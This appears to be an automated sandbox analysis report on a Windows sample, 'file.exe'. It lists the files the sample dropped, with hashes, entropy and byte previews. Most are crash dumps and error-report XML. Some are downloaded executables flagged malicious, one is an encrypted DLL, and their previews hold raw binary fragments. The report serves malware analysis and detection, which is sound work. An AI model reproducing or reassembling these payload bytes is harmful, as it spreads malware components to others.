Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA849.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.45654686969491
Encrypted:	false
SSDEEP:	48:cvIwSD8zsoJgtWI9cSWgc8sqYj48fm8M4JbIMF/d+q8vcICr8MjTzd:uITfu/zgrsqYJJM4KxCr8MXzd
MD5:	EE5D573C520D7E74E7BDC66313779C2A
SHA1:	FE359D5641AAFB1F185719E4B4F0E3109C7EDE88
SHA-256:	882C002B2BF4B30B0D1566FCDB85E7BB49F37CA1A790AD8AB4006FA0A702F26E
SHA-512:	EB27951B0ADF6F216BCB606E5FE43C0EECD909DA3EC580EA10C65EA1BCC58F3DC156C62BCA9BFDA7A16A41B1604B27B9A5E83A71CD4B2E3068E9AB615E8D61B5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719941" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB28D.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:50 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	85922
Entropy (8bit):	2.042682057237551
Encrypted:	false
SSDEEP:	384:1sP67P0bSdGWxubKYXcPOH5T4LNpOjHY0zdSqmK+d:1b7PGFW0b/MZpOUBqmKU
MD5:	323B1369AE060404F099D7A548F8BCF7
SHA1:	205016ACE3D79583228472271163791553165AA0
SHA-256:	BD660BC723F51C81DC2001E46D443915B39ECF45CCD7969115C8481A9FD60C15
SHA-512:	3F0F47C26F736CD5A113A1F778222DF468C94F075EC62E054EB6913E4F1DD9B75168158B6BB635C4C8604905E9192E12EB00848F204EBF46BC38A31BF5A3108A
Malicious:	false
Preview:	MDMP....... .......~~;c........................x...............H<..........T.......8...........T...........P$..R+..........4........... ....................................................................U...........B..............GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB608.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.694487454395994
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CF6I7WQ6YBS3SUAgmf6TS4CpBO89brysfwZm:RrlsNiw6I7h6YBySUAgmf+SFrxfT
MD5:	A9D3BEB83A3A49BAFC7FAD69FECE0815
SHA1:	0E63BE8A5C09237C7361856D42A9A3E2A2E63D6F
SHA-256:	7D8899D27833F79CDF96CB830B567CC199B50266A0091DCDBFA76F64CBD76BB9
SHA-512:	192F9A0E4BB3B2A5B84EE44C34C06EBB27B540B24CB10DB640996BCFD65911D9AFC231FBB01846B55FE0E4618576459BB4206B5F9505FF4F5CD26B9126B819FC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6A5.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.458664894658237
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjV8fm8M4JblMFB+q8vclCr8MjTzd:uITfh/zgrsqYeJpYKoCr8MXzd
MD5:	23444136DE422A5136DC8B6B34A7CA3F
SHA1:	B61755F4AA63F2A6A99BF73277282F783BE293D8
SHA-256:	00BCEE5104EE16CB5B214D848E44783A479730826CC38BE6804C9E82CDF60C76
SHA-512:	18382FA0FDA0EFA448AC1CE5651F5A14FC0531D134E77A6DA087CF79B81DA55D73E135BE96D9252545CCA0C51E9713DA8C6A05DC5C92F101926B34B544DAB270
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE54.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:53 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	94676
Entropy (8bit):	2.03619832732963
Encrypted:	false
SSDEEP:	384:BPwyPhVnUbsJ9PuiYXcPObDUT4LNpOjHYIzADGBqEX7LtMRYB4bkyP:+yPzxJ9PuxUMZpOUAMP
MD5:	C7A947FFB5664EB838577C8A5AFB8A2E
SHA1:	58011E9C9BCC42A5C84FCFF6F7E8469CBDF82115
SHA-256:	07A75195B2B86B1A927250E1E7932C2948AA1D95204797B2A46B9645ABD28E3D
SHA-512:	40E8BB0AFD2BBDC4A7B75EA547158878DA02B903D57CA4BF136F8428488142E3D003CA91EC5FEFA39E7ACB83188328DC604A01C358DFA06330B3313FE0D42615
Malicious:	false
Preview:	MDMP....... ........~;c........................x...............D?..........T.......8...........T...........x$..\M..........d...........P....................................................................U...........B..............GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1DF.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.6958151770219105
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CK6Izp+6YBShSUpbkSgmf6TS4CpBk89bwysffkwm:RrlsNiP6IzQ6YB0SUDgmf+SDwxfa
MD5:	BAEA939A33C066CDAC533ED4BB07685C
SHA1:	78509AEC3E43E7801442F28BD094E68511B87096
SHA-256:	1A072632181920CF9C70CAD46F74D4274A83199997C53A2D2FF2328B15B6A902
SHA-512:	A21F4AF0E3DDD5B3AA72800A0836F21BA4751E80DB7CE9BD3835868BA0407ECC12A2266B2C53942F250A35AB9CC41261DA4CBB3C0B53975E7C868CEC22F9342E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC26D.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.458457061278479
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYj+8fm8M4JblMFF+q8vclCr8MjTzd:uITfh/zgrsqY3JpwKoCr8MXzd
MD5:	7FFD213E5875EB41AEF4C2FBBFB57C5C
SHA1:	F91A9D0A82A0E6BE6F8E77E4D90EAC8951254CDB
SHA-256:	D1B81B11648E0F6833FF746275B2D9252B31FC5F8226CCA7C45B834EA84668F0
SHA-512:	9D091BCC0E8132C9FDF24897078166326082F66E4EE59D6EE6183DD161E679BB6700726CD0E22A165EC2C10B1EAC3A1FC8BF04E8D9E0A13DC3C28872B711598B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC980.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:55 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	103386
Entropy (8bit):	2.0851608891850866
Encrypted:	false
SSDEEP:	384:EpwjGizPDGYjUdeztRtFZYXmPOFncZarT4LNpOjHwveXzoYZfvr0ZWP:kHiPy+UdeztRtFUlMZpOM2fD0
MD5:	ED9A797712F185529B05E65284A4C5A2
SHA1:	926267A934EEF1FC491C41EA8C9D7F2925D62D66
SHA-256:	D8AA8B659BC463CBA9F2057660ADC8D6BD5A2DC769E8BE86444C516CAB0C5367
SHA-512:	B436071DE0F12B0CBED80F845269ACCF4449A4C1D4F2A20906A58BC7FEF0846C44B3BE374E5F9DB46D2DF6DFDB1D9BE8691C37B87112C853ACC4CFDC4E8EA7E1
Malicious:	false
Preview:	MDMP....... ........~;c.........................................C..........T.......8...........T...........@*...i...........................................................................................U...........B......\.......GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC01.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.6955265060547693
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CR6Iaxt6YBStSUHpgmf6TS4CpBY89bdysfw/m:RrlsNiE6Iaxt6YB4SUJgmf+SHdxfV
MD5:	D60843507CAB3A23073630B0FBDA8E1C
SHA1:	1B4FA2E29515EC4C697F5EB75132DE2C7AE3D58B
SHA-256:	C691854134DA01AB60B97E96E02DC9DCB6464F13A163808CC0B8B1C711D03EFF
SHA-512:	2105DBFFFA3D30D8124E01F27DFBF86320DD81CCC3AC77202FD59C2FCD253413425E1AD79909E9CE807163FBE52F66053DAA0C08C64066E9B7C90E10BF9D4E53
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC9E.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.459801496716276
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjh8fm8M4JblMFO+q8vclCr8MjTzd:uITfh/zgrsqYaJp/KoCr8MXzd
MD5:	63751B32A60BE5D04952043392BE8999
SHA1:	6C5A2FA9D95FE64D22225C8666D3F027E3101561
SHA-256:	93A1C016CDBCB4A635D68282899146ABFC38D41CABDD688E51300A734BBDF719
SHA-512:	F48960461ED86D01B81AD6D52A3F9A144579558419162C0E5A0979B37731865114391235840FFE7D2FB37928FBC30BBD69D37B4B0A8EA49B1E06B5545FBB418E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\library[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3947920
Entropy (8bit):	7.275018147968825
Encrypted:	false
SSDEEP:	49152:+/PD/DL/D9CuZrr2h60qPPB+lJJkF9IC966eB+lJJkF9IC966eB+lJJkF9IC966h:+3D///UUrP43m8C/3m8C/3m8C5
MD5:	04514BD4962F7D60679434E0EBE49184
SHA1:	1493A5447EB8156A7D7AECFF60EE8BFBA2209526
SHA-256:	C394B068AA87264419F60838A8812B750E67CF93F2494C62B9078C3708072568
SHA-512:	A71C7ED5DFDDA22F095DC99B16E8342A42E3361BE16E0241DBF8983DD0D5F6E90EB0299AAC1815CF78AD3A9F15FA89B42B720B7F818EE5F502300F102EF4C93E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.................. ... ....@.. .......................`............`.................................T...O.... ..2............(<......@......8................................................ ............... ..H............text........ ...................... ..`.rsrc...2.... ......................@..@.reloc.......@......................@..B........................H.......h...@E......T........;............................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	94224
Entropy (8bit):	7.998072640845361
Encrypted:	true
SSDEEP:	1536:NsbI9W6dHdtnEXOxZpPzIUcETzNtXofjmgGTeJduLLt+YBPoJTMRmNXg30:KWW6TZVz9PNtXo8M5OR0
MD5:	418619EA97671304AF80EC60F5A50B62
SHA1:	F11DCD709BDE2FC86EBBCCD66E1CE68A8A3F9CB6
SHA-256:	EB7ECE66C14849064F462DF4987D6D59073D812C44D81568429614581106E0F4
SHA-512:	F2E1AE47B5B0A5D3DD22DD6339E15FEE3D7F04EF03917AE2A7686E73E9F06FB95C8008038C018939BB9925F395D765C9690BF7874DC5E90BC2F77C1E730D3A00
Malicious:	false
Preview:	...mi...};...F".).T..'K;....O.Y0:.....3j.\.Ij.2R.P....C...q.\|.2.....iR2W.F.C=MU......H6...A.....@..O.c...M.x8...L..- ..b..\|.C...Z}.w...l.a.aT...br,...6w#.j.P.li.=......o.......S.{..R........5....#;....-....b+..G(.>..Q.....iN{.+y...ZC.z3sE...T..2.J...3.9U.4&..P......."wI.....@....x%>..D..'z.^....^(.....NC.[[k..........V]G..)e.....`.......K/L.Ul..F.."..8$.Ad....:i.g..0.d...[...T"l.U.M.=.0...,..,.ku.W,.....7`Q.Fi=w...u..:..Q-.R.}0...L.....n...t.nv.....z....e..I.C.....9.V.~1+[]..7...xQ........$.L..o.eQ./.b..Z......p].;i)...#.b...%1........@...G..[......./.c.Z......G.:..n..E.i.O..o.U.B.Px....1{,a.....#k.dj..L4...}.d<......Iyy.J..f.W..,^vV.Ao.K."+OX8!F...YP...u.-..Bik.[.u...&Wt..P...m....^ ..k~.....l..o.zMV.!s..h...{.n2;z...K..?S..-...eW...c.....-V.bg..9.I..g.x.g...}.'.5..(P...J#..:.IS..D}.v......jK9.LQF...oOhV...).h.v^-..F...<.....Vh.1....!...!...BYc..C?..D2.....2.K(..6....B....D..ay..=\|....'....[1.~.YB:./...A`...=..F..K...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\ping[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\ping[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.1751231351134614
Encrypted:	false
SSDEEP:	3:nCmxEl:Cmc
MD5:	064DB2A4C3D31A4DC6AA2538F3FE7377
SHA1:	8F877AE1873C88076D854425221E352CA4178DFA
SHA-256:	0A3EC2C4FC062D561F0DC989C6699E06FFF850BBDA7923F14F26135EF42107C0
SHA-512:	CA94BC1338FC283C3E5C427065C29BA32C5A12170782E18AA0292722826C5CB4C3B29A5134464FFEB67A77CD85D8E15715C17A049B7AD4E2C890E97385751BEE
Malicious:	false
Preview:	UwUoooIIrwgh24uuU

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\library[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
